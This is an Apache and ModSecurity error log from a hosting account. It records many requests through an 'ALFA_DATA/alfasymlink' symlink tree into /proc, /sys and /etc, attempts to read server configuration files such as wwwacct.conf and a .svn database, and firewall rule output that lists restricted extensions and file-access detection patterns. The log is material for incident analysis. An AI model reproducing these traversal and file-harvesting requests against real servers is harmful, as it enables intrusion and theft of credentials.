[Tue Oct 27 14:05:34.378878 2026] [core:crit] [pid 3274958:tid 3274958] (13)Permission denied: [client 216.244.66.250:36884] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/27/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/27/fd/' is executable
[Tue Oct 27 14:05:34.378954 2026] [core:crit] [pid 3274958:tid 3274958] (13)Permission denied: [client 216.244.66.250:36884] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/27/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/27/map_files/' is executable
[Tue Oct 27 14:05:34.378971 2026] [core:crit] [pid 3274958:tid 3274958] (13)Permission denied: [client 216.244.66.250:36884] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/27/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/27/fdinfo/' is executable
[Tue Oct 27 14:05:35.837498 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 3.229.2.217:38061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:05:37.714045 2026] [security2:error] [pid 3268402:tid 3268402] [client 107.172.76.131:61603] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDn51kSJh9YctB3ycD1qwAAACw"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 14:05:37.714128 2026] [security2:error] [pid 3268402:tid 3268402] [client 107.172.76.131:61603] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDn51kSJh9YctB3ycD1qwAAACw"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 14:05:43.969201 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 54.84.147.79:29128] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:05:59.957899 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 52.45.92.83:56391] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Tue Oct 27 14:06:16.814636 2026] [security2:error] [pid 3274862:tid 3274862] [client 107.172.76.131:61606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDoDCd4ppSmACw1sONtoQAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:06:16.814701 2026] [security2:error] [pid 3274862:tid 3274862] [client 107.172.76.131:61606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDoDCd4ppSmACw1sONtoQAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:06:21.679353 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 185.191.171.9:50386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/slab_size
[Tue Oct 27 14:06:22.516342 2026] [security2:error] [pid 3269335:tid 3269335] [client 43.135.142.37:48064] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/done"] [unique_id "auDoHgbf3KFtuIsifZNJsAAAAAA"]
[Tue Oct 27 14:06:23.885161 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 34.206.193.60:51070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/cpu0/subsystem/drivers_probe
[Tue Oct 27 14:06:27.947199 2026] [core:error] [pid 3274800:tid 3274800] (13)Permission denied: [client 3.94.40.182:11556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/remove
[Tue Oct 27 14:06:31.748354 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 54.156.124.2:6464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:06:35.827809 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 18.214.238.178:47501] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:06:35.828020 2026] [security2:error] [pid 3276404:tid 3276404] [client 18.214.238.178:47501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/subsystem/devices/memory4/removable"] [unique_id "auDoK3T0XCUN1jDVucwxlQAAAAE"]
[Tue Oct 27 14:06:35.828055 2026] [security2:error] [pid 3276404:tid 3276404] [client 18.214.238.178:47501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/subsystem/devices/memory4/removable"] [unique_id "auDoK3T0XCUN1jDVucwxlQAAAAE"]
[Tue Oct 27 14:06:40.004306 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.200.58.199:8364] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:06:51.901397 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 34.203.111.15:56285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory11/node0/memory19/subsystem/uevent
[Tue Oct 27 14:06:56.493663 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.84.161.62:62922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:06:59.800763 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 34.194.95.99:59097] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:07:11.957799 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 100.29.63.24:12618] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:07:15.789314 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 98.84.70.201:34206] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:07:32.052098 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 52.200.93.170:62740] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:07:40.012960 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 52.204.81.148:54786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:07:56.219563 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 54.91.122.193:35998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:00.126134 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 52.3.156.186:64532] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:03.786456 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 52.45.15.233:41444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory0/subsystem/drivers_probe
[Tue Oct 27 14:08:11.934050 2026] [security2:error] [pid 3274800:tid 3274800] [client 44.209.89.189:5836] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/driver/00:01/firmware_node/"] [unique_id "auDoi9Ot8CG6dUsykSrdeQAAABY"]
[Tue Oct 27 14:08:11.934133 2026] [security2:error] [pid 3274800:tid 3274800] [client 44.209.89.189:5836] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/driver/00:01/firmware_node/"] [unique_id "auDoi9Ot8CG6dUsykSrdeQAAABY"]
[Tue Oct 27 14:08:16.155033 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 3.224.215.150:44746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:1e/eject
[Tue Oct 27 14:08:31.861091 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 98.84.60.17:53072] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:39.933262 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 44.218.170.184:54318] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:40.722819 2026] [security2:error] [pid 3277916:tid 3277916] [client 216.244.66.250:41778] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "auDoqCho2SBMwnAWAwEFBAAAAAc"]
[Tue Oct 27 14:08:40.723217 2026] [security2:error] [pid 3277916:tid 3277916] [client 216.244.66.250:41778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "auDoqCho2SBMwnAWAwEFBAAAAAc"]
[Tue Oct 27 14:08:40.723516 2026] [security2:error] [pid 3277916:tid 3277916] [client 216.244.66.250:41778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "auDoqCho2SBMwnAWAwEFBAAAAAc"]
[Tue Oct 27 14:08:41.473673 2026] [security2:error] [pid 3276404:tid 3276404] [client 92.118.39.93:61616] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDoqXT0XCUN1jDVucwxnQAAAAE"]
[Tue Oct 27 14:08:41.473868 2026] [security2:error] [pid 3276404:tid 3276404] [client 92.118.39.93:61616] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDoqXT0XCUN1jDVucwxnQAAAAE"]
[Tue Oct 27 14:08:41.474080 2026] [security2:error] [pid 3276404:tid 3276404] [client 92.118.39.93:61616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDoqXT0XCUN1jDVucwxnQAAAAE"]
[Tue Oct 27 14:08:41.474385 2026] [security2:error] [pid 3276404:tid 3276404] [client 92.118.39.93:61616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "auDoqXT0XCUN1jDVucwxnQAAAAE"]
[Tue Oct 27 14:08:47.881222 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 34.205.163.103:63061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:51.982083 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 18.207.79.144:63221] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:56.016674 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 44.209.89.189:49331] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:58.111516 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 85.208.96.208:57446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:08:58.148342 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 85.208.96.208:57462] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:03.891376 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 54.91.122.193:7068] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:11.829167 2026] [ssl:error] [pid 3265870:tid 3265870] (5)Input/output error: [client 54.91.122.193:42147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:20.091887 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 52.73.6.26:59651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/memory23/subsystem/devices/memory6/node0/cpu0/firmware_node/physical_node/driver/cpu1/crash_notes_size
[Tue Oct 27 14:09:29.191800 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 85.208.96.210:18026] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:31.783359 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 54.84.147.79:5201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:43.817688 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 18.213.240.226:3322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:47.892648 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 52.54.15.103:64914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:52.008339 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.204.37.237:22588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:09:54.125957 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 85.208.96.208:38794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/rsyslogd.pid
[Tue Oct 27 14:10:00.212063 2026] [core:error] [pid 3278439:tid 3278439] (13)Permission denied: [client 54.225.98.148:58647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/bind
[Tue Oct 27 14:10:03.795235 2026] [ssl:error] [pid 3277916:tid 3277916] (22)Invalid argument: [client 100.29.160.53:27429] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:10:15.935575 2026] [security2:error] [pid 3274572:tid 3274572] [client 98.82.214.73:28497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/PNP0A06:01/"] [unique_id "auDpB5hAJ2_LLoHRXr8MAQAAAA8"]
[Tue Oct 27 14:10:15.935659 2026] [security2:error] [pid 3274572:tid 3274572] [client 98.82.214.73:28497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/PNP0A06:01/"] [unique_id "auDpB5hAJ2_LLoHRXr8MAQAAAA8"]
[Tue Oct 27 14:10:23.818530 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 3.226.34.98:12238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:10:36.160765 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.244.66.250:49188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/senderverifybypasshosts
[Tue Oct 27 14:10:40.091003 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 44.221.227.90:35477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:11:03.933759 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 107.20.224.184:34014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/tpm_tis/uevent
[Tue Oct 27 14:11:08.052493 2026] [core:error] [pid 3274868:tid 3274868] (13)Permission denied: [client 34.206.249.188:21772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS3/type
[Tue Oct 27 14:11:20.345596 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 3.227.180.70:5656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:11:23.920682 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 3.231.193.38:49860] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:11:35.815277 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 44.214.19.8:16505] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:11:39.807662 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 52.204.71.8:13880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:11:47.852557 2026] [ssl:error] [pid 3274868:tid 3274868] (5)Input/output error: [client 44.205.192.249:31364] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:12:00.170499 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.225.148.123:60411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:12:24.056262 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 44.195.50.71:12604] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:12:39.950093 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 23.21.227.240:49435] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:12:43.735080 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 98.82.66.172:18966] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:12:47.816076 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 35.169.240.53:64897] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:12:55.826506 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 35.174.141.243:56561] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:04.774559 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 185.191.171.3:29284] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:08.912684 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 85.208.96.207:12786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:13.439317 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 185.191.171.6:64708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:19.962992 2026] [core:error] [pid 3278439:tid 3278439] (13)Permission denied: [client 52.44.174.136:42696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource1
[Tue Oct 27 14:13:24.035507 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 35.169.119.108:2541] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:31.583682 2026] [security2:error] [pid 3274862:tid 3274862] [client 107.172.76.131:61606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDpvyd4ppSmACw1sONtwQAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:13:31.583745 2026] [security2:error] [pid 3274862:tid 3274862] [client 107.172.76.131:61606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDpvyd4ppSmACw1sONtwQAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:13:31.881970 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.90.244.132:35242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:35.905323 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 98.82.214.73:40737] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:43.800163 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 100.29.107.38:58876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:13:45.357315 2026] [security2:error] [pid 3274878:tid 3274878] [client 107.172.76.131:61601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDpze31Q9Datu6SAVXuawAAAAY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:13:45.357383 2026] [security2:error] [pid 3274878:tid 3274878] [client 107.172.76.131:61601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDpze31Q9Datu6SAVXuawAAAAY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:14:00.154880 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 23.21.228.180:48077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:03.940545 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 23.21.175.228:29915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:16.024351 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 52.202.52.82:53896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/event1/subsystem/event3/device/device/drvctl
[Tue Oct 27 14:14:20.139364 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 52.0.218.219:40818] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:23.966613 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.3.127.170:18856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:28.201051 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.225.24.180:39412] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:32.059097 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 100.29.160.53:46531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:40.179172 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 44.212.131.50:15731] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:14:44.008730 2026] [core:error] [pid 3274231:tid 3274231] (13)Permission denied: [client 34.236.41.241:39425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/0000:00:03.0/rom
